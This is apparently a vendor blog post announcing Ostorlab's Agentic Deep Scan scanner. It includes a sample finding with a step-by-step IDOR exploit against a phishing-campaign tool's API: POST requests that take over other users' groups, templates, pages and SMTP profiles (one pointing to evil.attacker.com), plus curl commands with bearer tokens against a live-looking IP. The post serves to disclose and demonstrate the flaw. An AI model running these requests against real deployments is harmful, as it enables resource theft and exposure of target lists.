Product

Ostorlab Launches Agentic Deep Scan: The next-generation vulnerability scanner

Ostorlab has launched Agentic Deep Scan, a next-generation vulnerability scanner that validates real-world risks in iOS, Android (soon harmonyOS), and web applications. With Bring Your Own Key (BYOK) support, teams can safely explore its powerful scanning capabilities while keeping full control of their data and costs.

Thu 19 March 2026

We’re thrilled to announce Agentic Deep Scan, Ostorlab’s new next-generation vulnerability scanner. This isn’t just another scanner. It's a fundamentally different approach that simulates real-world attacks on iOS, Android (soon harmonyOS), and web applications, and validates every finding under realistic conditions.

With Bring Your Own Key (BYOK) support, you maintain full control of your data and AI usage while exploring this next-generation scanning approach.

We are the only platform doing this specifically and deeply for mobile applications, combining realistic exploit validation, cross-component analysis, and proof-grade evidence in a way no other tool currently offers.

Scan profile interface on Ostorlab platform featuring Agentic Deep Scan
Agentic Deep Scan : new feature on Ostorlab platform

How Agentic Deep Scan Delivers Actionable Findings Backed by Proof

Standard scanners identify potential issues based on patterns or signatures. Agentic Deep Scan takes it a step further, every finding is validated under real conditions, with proof-grade evidence: screenshots, request/response logs, device logs, and step-by-step reproduction so teams can focus on risks that attackers could actually exploit.

Verified Findings from a Sample Scan

Agentic Deep Scan uncovers real, actionable risks in live applications. For instance, our sample report highlights 12 critical findings, including a JWT authentication bypass in VulnBank.org

Cover of Agentic Deep Scan Sample Report
Agentic Deep Scan Sample Report

The JWT authentication bypass in VulnBank.org allowed attackers to forge tokens with elevated privileges (is_admin: true), granting access to admin-only endpoints such as /admin/create_admin and /admin/approve_loan/{loan_id}.

This demonstrates how authentication and authorization weaknesses can be exploited in real-world conditions, and how Agentic Deep Scan provides proof-grade evidence so teams can confidently reproduce and fix issues.

Real-World Vulnerability Found by Agentic Deep Scan

Agentic Deep Scan ran on real applications, uncovering multiple previously unknown vulnerabilities. Some findings are still pending fixes in popular open-source projects, demonstrating the scanner’s effectiveness and practical impact.

Among these findings, one stood out for its severity: a simple API logic flaw that enables full resource takeover. Here’s how Agentic Deep Scan discovered it, exploited it, and proved its impact with concrete evidence.

Description

The API endpoints for creating resources fail to validate that the 'id' parameter in POST requests is not already associated with an existing resource. When an attacker includes an existing resource ID in a POST request, the application transfers ownership of that resource to the attacker instead of creating a new resource. This allows complete theft of confidential phishing materials, target email lists (GDPR violation), credential capture pages, and email sending infrastructure.

Root Cause

The API endpoints for creating resources (POST /api/groups/, POST /api/templates/, POST /api/pages/, POST /api/smtp/) accept an id parameter in the request body without validating whether the ID already belongs to another user's resource. When an existing ID is provided, the application updates (hijacks) that resource instead of creating a new one, transferring ownership to the authenticated attacker.

Vulnerable Code Pattern

The API handlers accept the full JSON body including the id field:

// Endpoint pattern vulnerable to IDOR
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))

The handler processes the incoming JSON directly without stripping or validating the id field, allowing mass assignment of existing resource IDs.

Exploitation Evidence

Step 1 - Admin creates a confidential target group:

POST /api/groups/ HTTP/1.1
Authorization: Bearer <admin_api_key>
Content-Type: application/json

{
    "name": "CONFIDENTIAL_TARGETS",
    "targets": [
        {"email": "john.victim@testcorp.com", "first_name": "John", "last_name": "Victim"},
        {"email": "jane.target@testcorp.com", "first_name": "Jane", "last_name": "Target"},
        {"email": "bob.doe@financial.com", "first_name": "Bob", "last_name": "Doe"}
    ]
}

Response: HTTP 201 Created
{"id": 106, "name": "CONFIDENTIAL_TARGETS", "targets": [...]}

Step 2 - Attacker (user_b) hijacks the group by specifying ID 106:

POST /api/groups/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
Content-Type: application/json

{
    "id": 106,
    "name": "STOLEN_GROUP",
    "targets": []
}

Response: HTTP 201 Created
{"id": 106, "name": "STOLEN_GROUP", "targets": []}

Step 3 - Verification of ownership transfer:

# Admin attempts to access their own group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <admin_api_key>'

Response: HTTP 404 Not Found
{"message": "Group not found", "success": false, "data": null}

# Attacker accesses the stolen group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <attacker_api_key>'

Response: HTTP 200 OK
{"id": 106, "name": "STOLEN_GROUP", ...}

Additional Endpoints Confirmed Vulnerable:

POST /api/templates/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 113, "name": "STOLEN_TEMPLATE", "subject": "HACKED", "html": "..."}
Response: HTTP 201 Created

POST /api/pages/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 60, "name": "STOLEN_PAGE", "html": "...", "capture_credentials": true}
Response: HTTP 201 Created

POST /api/smtp/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 81, "name": "STOLEN_SMTP", "host": "evil.attacker.com:25"}
Response: HTTP 201 Created

Exfiltrated Data:

  • Target email addresses: john.victim@testcorp.com, jane.target@testcorp.com, bob.doe@financial.com
  • Phishing template ID 113 with subject "Urgent: Your Account Security"
  • Landing page ID 60 with credential capture configuration
  • SMTP sending profile ID 81

Validation Evidence

Validation Attempt 1

POST /api/groups/ with id=106 returned HTTP 201 Created, transferring ownership to attacker**

Validation Attempt 2

POST /api/templates/ with id=113 returned HTTP 201 Created

Validation Attempt 3

POST /api/pages/ with id=60 returned HTTP 201 Created

Validation Attempt 4

POST /api/smtp/ with id=81 returned HTTP 201 Created

Validation Attempt 5

Original owner receives HTTP 404 when accessing hijacked resources

Validation Attempt 6

Attacker receives HTTP 200 when accessing stolen resources

Validation Attempt 7

Root Cause

The POST /api/groups/ endpoint accepts and processes the id field from JSON request bodies without validating whether the ID belongs to an existing resource owned by another user. The backend uses the client-supplied ID directly, causing an ownership transfer when the ID references another user's resource.

Vulnerable Code Pattern

// Endpoint accepts full JSON body including 'id' field
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))
// Handler processes JSON directly without stripping/validating 'id'

Exploitation Evidence

Step 1 - Baseline confirmed: Admin owns Group 110, attacker cannot access it:

# Admin retrieves their group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

Response: HTTP 200 - Group contains 4 confidential target emails

# Attacker attempts access (pre-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

Response: HTTP 404 - {"message":"Group not found","success":false,"data":null}

Step 2 - Attacker hijacks group by specifying existing ID:

curl -k -i 'https://34.55.131.240:3333/api/groups/' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4' \
  -H 'Content-Type: application/json' \
  -X POST \
  --data '{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[{"email":"dummy@testcompany.com","first_name":"Dummy","last_name":"User"}]}'

Response: HTTP 201 Created

{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[...]}

Step 3 - Ownership transfer verified:

# Admin attempts to access their group (post-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

Response: HTTP 404 - {"message":"Group not found","success":false,"data":null}

# Attacker retrieves stolen group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

Response: HTTP 200 - Full group data including original targets:

executive@testcompany.com

hr@testcompany.com

itadmin@testcompany.com

finance@testcompany.com

Try Agentic Deep Scan with BYOK (Bring Your Own Key)

BYOK menu on Ostorlab platform that allows users to add api key and choose ai model
BYOK menu on Ostorlab platform

Thanks to BYOK (Bring Your Own Key), you can try Agentic Deep Scan safely with your own credentials keeping full control of your data and costs, making it simple to explore this next-generation scanning approach on your apps.

Learn more about Agentic Deep Scan :
- Web Agentic Deep Scan
- Mobile Agentic Deep Scan